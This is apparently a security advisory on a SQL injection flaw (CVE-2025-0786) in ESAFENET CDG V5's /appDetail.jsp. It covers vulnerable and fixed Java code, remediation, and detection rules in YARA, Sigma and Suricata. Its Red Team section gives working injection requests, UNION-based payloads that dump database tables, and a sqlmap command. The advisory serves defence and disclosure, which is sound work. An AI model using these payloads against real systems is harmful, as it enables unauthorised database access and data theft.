CVE-2025-0786

Executive Summary

CVE-2025-0786 is a critical SQL injection vulnerability in ESAFENET CDG V5, specifically within the /appDetail.jsp endpoint. The flaw allows an unauthenticated remote attacker to manipulate the flowId parameter, leading to arbitrary SQL execution against the backend database. This can result in full data exfiltration, credential theft, and potential lateral movement within the network. The vendor has not responded to disclosure, and no official patch exists. Public exploit code has been released, increasing the risk of widespread exploitation.

Supply Chain & Package Security

This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in a proprietary enterprise document management system. Organizations using ESAFENET CDG V5 should treat this as a critical supply chain risk due to the lack of vendor support.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is trivial to exploit remotely without authentication, making it a prime target for automated scanning and mass exploitation.

Deep Dive & Mechanics

The /appDetail.jsp endpoint processes the flowId parameter without proper sanitization or parameterized queries. The application likely constructs a SQL query by concatenating user input directly into the statement. For example:

SELECT * FROM app_flows WHERE flow_id = 'USER_INPUT'

An attacker can inject a single quote to break out of the string context and append malicious SQL. The backend database is likely MySQL or PostgreSQL, given the typical stack for such Java-based applications.

The injection point is in the flowId parameter. A simple payload like:

1' OR '1'='1

would return all records, while more advanced payloads can extract data via UNION-based or blind SQL injection techniques.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

String flowId = request.getParameter("flowId");
String query = "SELECT * FROM app_flows WHERE flow_id = '" + flowId + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

Patched Code (Conceptual):

String flowId = request.getParameter("flowId");
String query = "SELECT * FROM app_flows WHERE flow_id = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, flowId);
ResultSet rs = pstmt.executeQuery();

The fix requires using parameterized queries (PreparedStatement) to separate SQL logic from data. Since no official patch exists, organizations must implement a Web Application Firewall (WAF) rule or input validation as a temporary measure.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy ESAFENET CDG V5 in a controlled environment (e.g., Docker or VM).
2. Ensure the /appDetail.jsp endpoint is accessible.
3. Use a tool like sqlmap or manual injection.

Exploitation Steps:

1. Identify the vulnerable parameter:

   GET /appDetail.jsp?flowId=1 HTTP/1.1
   Host: target.com
   

2. Test for injection:

   GET /appDetail.jsp?flowId=1' HTTP/1.1
   

   If an error is returned (e.g., SQL syntax error), the parameter is injectable.

3. Extract database version:

   GET /appDetail.jsp?flowId=1' UNION SELECT @@version,2,3-- HTTP/1.1
   

4. Dump tables:

   GET /appDetail.jsp?flowId=1' UNION SELECT table_name,2,3 FROM information_schema.tables-- HTTP/1.1
   

5. Automated exploitation with sqlmap:

   sqlmap -u "http://target.com/appDetail.jsp?flowId=1" --batch --dbs
   

Example Payload:

flowId=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+

Blue Team

Detection Steps:

1. Monitor web server logs for abnormal flowId parameters containing SQL keywords (UNION, SELECT, OR, ').
2. Deploy a WAF rule to block requests with SQL injection patterns in the flowId parameter.
3. Enable database query logging to detect anomalous queries.
4. Isolate the CDG application from critical network segments.

Honeypot Strategy:

• Deploy a fake /appDetail.jsp endpoint that logs all requests and alerts on SQL injection attempts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /appDetail.jsp with flowId containing SQL metacharacters (', --, UNION, SELECT).
  • Outbound database connections from the CDG server to unexpected IPs.
  • Large data transfers from the database server.

• File IOCs:

  • Suspicious log entries in web server logs (e.g., Apache access.log) with SQL injection patterns.
  • Temporary files created by sqlmap in /tmp/ or %TEMP%.

• System IOCs:

  • Unusual database user activity (e.g., sa or root executing SELECT * FROM information_schema.tables).
  • High CPU/memory usage on the database server during exploitation.

Detection Engineering

YARA Rule

rule CVE_2025_0786_SQLi_FlowID {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-0786 in ESAFENET CDG V5"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "critical"
    strings:
        $s1 = "flowId=" nocase
        $s2 = "' OR " nocase
        $s3 = "UNION SELECT" nocase
        $s4 = "1=1" nocase
        $s5 = "information_schema" nocase
    condition:
        all of ($s*) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-0786 SQL Injection Attempt
id: 8f4b3c2a-1d5e-4f7a-9b8c-0d1e2f3a4b5c
status: experimental
description: Detects SQL injection attempts against ESAFENET CDG V5 /appDetail.jsp
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "flowId="
            - "'"
            - "UNION"
            - "SELECT"
            - "OR"
            - "1=1"
    condition: selection
falsepositives:
    - Legitimate use of single quotes in flowId (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-0786 SQL Injection Attempt"; flow:to_server; content:"/appDetail.jsp"; http_uri; content:"flowId="; http_uri; pcre:"/flowId=.*['\"]|UNION|SELECT|OR\s+1=1/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the CDG server from the internet and restrict access to trusted IPs only.
2. Deploy a WAF with a custom rule to block SQL injection patterns in the flowId parameter.
3. Implement input validation on the application layer (if source code is accessible) to reject non-alphanumeric characters in flowId.
4. Monitor logs for exploitation attempts and respond to alerts.

Long-term Fix:

• Since the vendor is unresponsive, consider migrating to an alternative document management solution.
• If source code is available, rewrite the vulnerable query using parameterized statements (PreparedStatement in Java).
• Conduct a full security audit of the application for similar flaws.

Workaround:

• Modify the web server configuration to block requests containing SQL keywords in the flowId parameter (e.g., using ModSecurity).

Valters IT